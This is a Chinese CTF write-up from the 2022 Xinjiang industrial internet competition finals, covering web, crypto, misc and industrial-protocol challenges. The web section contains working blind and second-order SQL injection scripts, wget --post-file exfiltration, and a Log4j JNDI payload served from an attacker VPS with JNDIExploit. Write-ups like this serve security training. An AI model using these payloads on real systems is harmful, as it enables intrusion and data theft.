青衿之志,履践致远

2022新疆工业互联网决赛部分WP

CTF记录“2022新疆工业互联网大赛” XJUSEC-NEW 决赛 writeup

WEB

1.1 wget

flag: flag{6ee30a64d009ee2ba70ca4ebdc2a56c3}

解题思路说明:

异或的sql盲注,然后wget外带flag

解题过程:

盲注拿到用户名和密码

import requests
import time
#url1 = "http://80f2c52235906b30.node.nsctf.cn/image.php?id=1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='ctf')),{0},1))>{1})^1"
url2 = "http://80f2c52235906b30.node.nsctf.cn/image.php?id=1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='users')),{0},1))>{1})^1"
#url3 = "http://80f2c52235906b30.node.nsctf.cn/image.php?id=1^(ascii(substr((select(group_concat(id,username,password))from(ctf.users)),{0},1))>{1})^1"#8d3d7d2983efec1d33953
strs=""
for i in range(1,1000):
    l = 32
    h = 128
    mid = (l + h)
    while (l < h):
        nurl=url2.format(i,mid)
        r=requests.get(url=nurl)
        if 'JFIF' in r.text:
            l = mid + 1
        else:
            h = mid
        mid = (l + h) // 2
        time.sleep(0.1)
    strs += chr(mid)
    print(strs)

利用--post-file参数把flag带出来

1.2 commodities

flag: flag{adfa063e4a501f461a830801dad02227}

解题思路说明:

报错注入+二次注入

解题过程:

在修改密码的地方存在注入,会显示报错,所以可以借助注册时的用户名来实现二次注入

import requests
url = "http://1d2b6c8f4895d644.node.nsctf.cn/"
r = requests.session()
def register(name):
    data = {
        'username' : name,
        'password' : '123',
        'email' : '123',
    }
    r.post(url=url+"register.php", data=data)
def login(name):
    data = {
        'username' : name,
        'password' : '123',
    }
    r.post(url=url+"login.php", data=data)
def changepwd():
    data = {
        'oldpass' : '',
        'newpass' : '',
    }
    req = r.post(url=url+"changepwd.php", data=data).text
    print(req)
#sql="select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())"
#Result:'article,flag,users'
#sql="select(group_concat(column_name))from(information_schema.columns)where(table_name='users')"
#sql="select(group_concat(secret_flag))from(users)where(real_flag_1s_here)regexp('^f')"
sql="select(group_concat(secret_flag))from(users)where(secret_flag)regexp('^f')"
payload='ethe"||updatexml(1,concat(1,({0})),1)#'.format(sql)
register(payload)
login(payload)
changepwd()

1.3 ezLog

flag: flag{668848dbb11bb10c23ab384e02ce9256}

解题思路说明:

拿到附件jar文件,反编译之后分析发现是Log4j漏洞,利用相关工具即可拿到flag。

解题过程:

拿到代码,发现明显有log4j漏洞的特征

在自己的vps上运行工具JNDIExploit,建立ldap和http服务:

java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 117.50.172.142 -p 5001

然后构造payload:

${jndi:ldap://ip:port/TomcatBypass/TomcatEcho},base64编码后传给靶机:

vps显示已经接收到相关数据,然后我们可以在http请求头中加入cmd项实现命令执行:

然后就可以拿flag了:

crypto

1.4 low rsa

flag: flag{40a97508298e0b6d1969bf555866110b}

解题思路说明:

打开发现四组enc,且n不长,直接分解得pq,算出d就可算出m,转字符串即可

解题过程:

如图,用yafu分解n:(只举例第一个n,其他同理)

得到四个pq

用工具打开,输入pqnec,右键计算d:

计算出d后,右键计算m,后右键m转字符串,得到flag头:

同理计算其他三个,得到如下flag:

1.5 china rsa

flag: flag{7404182df312cd0cb2c93309e3d46ec0}

解题思路说明:

根据名字可以知道考查中国剩余定理,打开文件可以发现确实考查中国剩余定理,直接跑脚本就好。

解题过程:

根据最后的n1 n2 n3 c1 c2 c3可以轻松发现符合CRT的特征,直接跑网上的中国剩余定理脚本:

from Crypto.Util.number import long_to_bytes
import gmpy2

n1 = int('68624393277316191480690361500719268209859606970078491357553903122632984224228322147396823621537481711581647644445144702008549382652252375519294832745848954293103973338429309497225953691572494005145483438414239297656893679200116358652523576183231450593319028795599014475219212376346636793922703050492075132761')
c1 = int('3389030919468203147801108320942437635911410869238356867640372186211398661571926910588388747207679340435956441445068822066263955383593214639888429448031194803879320292591434043139576794599256282937179748755009086803766105060607973253300175977019415524452114048380404967547302154339080767064958974530122490706')
n2 = int('132716275233978374499965229259572423248648608077510589592758898511517367262950863911707276209426293565742309240429179311391263020872658245097216412423204873171527140025909874798765994938866654990042889542212294317428947323832810281266170009560592923494277350988040936673992317254134228658193707668609339347647')
c2 = int('7494200167574030282296530004761857980712847907320034990456437600866742342285229128116975381267766037098134946092943255551152006090547599885085427991948929123193844152815576881828929972649971467463982160627378538624809411503712327876350938936312172352672051762948324137294079312548907339236935780099553838602')
n3 = int('106922568702592431588952834250874117164782811906392573372575618905877562273058488007190974065777255853599493102448456536113355522969542635895077573034665613263133477460084384084189052959814819205123430085391542850011479349951214528232228771565117012472280092164068323648582868348154217830986009174179496597549')
c3 = int('23455800474090944637966838624825847748647833595801702542947151389258309859870823666347961861619569667324873956770498936215299517418563345607513711159162039705583683144620701269546231494830040550716484204900631186424463779766505209863505240114715529754737318895760592395111130139165646983035024048451165975874')

M1=n2*n3*gmpy2.invert(n2*n3,n1)
M2=n1*n3*gmpy2.invert(n1*n3,n2)
M3=n1*n2*gmpy2.invert(n1*n2,n3)

num=c1*M1+c2*M2+c3*M3
me=num%(n1*n2*n3)
print(me)

m=gmpy2.iroot(me,7)[0]
print(long_to_bytes(m))
# 解得flag,见下图

得到的结果即为flag,如图

解题过程:

MISC

1.6 easypacp

flag: flag{a264c8ce70dfbc08dcfb9d552e15411a}

解题思路说明:

wireshark流量分析,直接搜flag发现压缩包,导出发现伪加密,解开即flag

解题过程:

用wireshark打开,搜索flag:

可以发现下面有一个flag.doc,找到该tcp的data部分,右键 显示分组字节流:

可以发现pk开头,说明为zip格式,另存为本地,使用foremost进行拆分:

拆分完发现zip,但是被加密,备份一份zip

然后打开kali用 ZipCenOp.jar尝试去除伪加密:

命令如上图,运行一下重新打开该zip,打开flag.docx,发现伪加密已经去除,里面的文本即为flag:

工控

1.7 摩多的RTU

flag: flag{8b00dd0141348ae9ff9aafcab5a601a7}

解题思路说明:

先百度啥意思,发现是指令,没啥用,但是可以发现rx这一行有66 00 6c 00 61 00这六组数字,很容易想到flag头的十六进制为666c61……开头,遂用notepad++转成字符即可

解题过程:

见思路,用notepad++打开:

得到如下结果,删除多余字符,得flag:

1.8 协议分析

flag: flag{c93650241853da240f9760531a79cbcf}

解题思路说明:

看到文件,百度文件名,发现原题出自2020工业信息安全大赛济南站协议精准定义分析一题,参考wp,分析流量包。可以发现是LSIS-XGT协议,同时根据pdf协议手册进行分析,写脚本即可得到flag

解题过程:

参考原题wp:https://writeup.ctfhub.com/Challenge/2020/%E5%B7%A5%E4%B8%9A%E4%BF%A1%E6%81%AF%E5%AE%89%E5%85%A8%E6%8A%80%E8%83%BD%E5%A4%A7%E8%B5%9B/%E6%B5%8E%E5%8D%97%E7%AB%99/gbjuP64PLn98WMkybo535L.html

先对两个频繁使用tcp交流的ip进行分析,追踪tcp流

直接在wireshark中转码:

可以发现是LSIS-XGT协议,提取出发包内容和收到的包:

发
4c5349532d58475400000000a03300001600034758001400000001000600254d4232303004007d000000
4c5349532d58475400000000a03300001200034354001400000001000600254d423230300100

收
4c5349532d58475400110100a01100000a00034759001400080100000100
4c5349532d58475400110100a01100000d00034355001400080100000100010000

根据pdf文件进行分析:

4c5349532d58475400000000a03300001600034758001400000001000600254d4232303004007d000000

首先LSIS Header 长度为20个字节,

4c5349532d58475400000000a033000016000347为header

再往后面两个字节5800表示写操作,往后两个字节1400表示数据类型,

再往后6个字节000001000600表示Reseverd area, Number of blockslength of variables可以先不关注

取最后一部分进行关注分析254d4232303004007d000000

转成字符串:

分析pdf文档,并参考wp可以知道:

其中前面的254d42323030%MB200, 表示写入地址,0400表示写入数据长度,7d000000 四个字节正好是上面的写入长度

然后追踪tcp将整个流的raw数据复制出来,然后,用脚本取出上面7d000000位置的数据来进行分析:

用wp给的脚本跑:

#coding:utf-8
import os
import base64

lines = open('./提取出的数据.txt').readlines()
flag = ''
for line in lines:
    line = line.strip()
    if len(line) == 84:
        t = line[76:78]
        x = int(t,16)
        y = chr(x)
        flag += y
    else:
        pass
    print(flag[::-1])

得到flag:flag{c93650241853da240f9760531a79cbcf}

1.9 失联的PLC

flag: flag{d02d2bfd7ca4a98ebacf610f00d541ea}

解题思路说明:

用wireshark打开文件,根据往年类似题目的方法,过滤掉没问题的即可找到有问题的,通过返回码判断是否有问题。

解题过程:

如图,输入命令s7comm.data.returncode!=0xff 过滤对的返回码

根据提示,找到data:

导出原始data:

用md5加密得到flag,包上flag{}头即可

flag:flag{d02d2bfd7ca4a98ebacf610f00d541ea}

添加新评论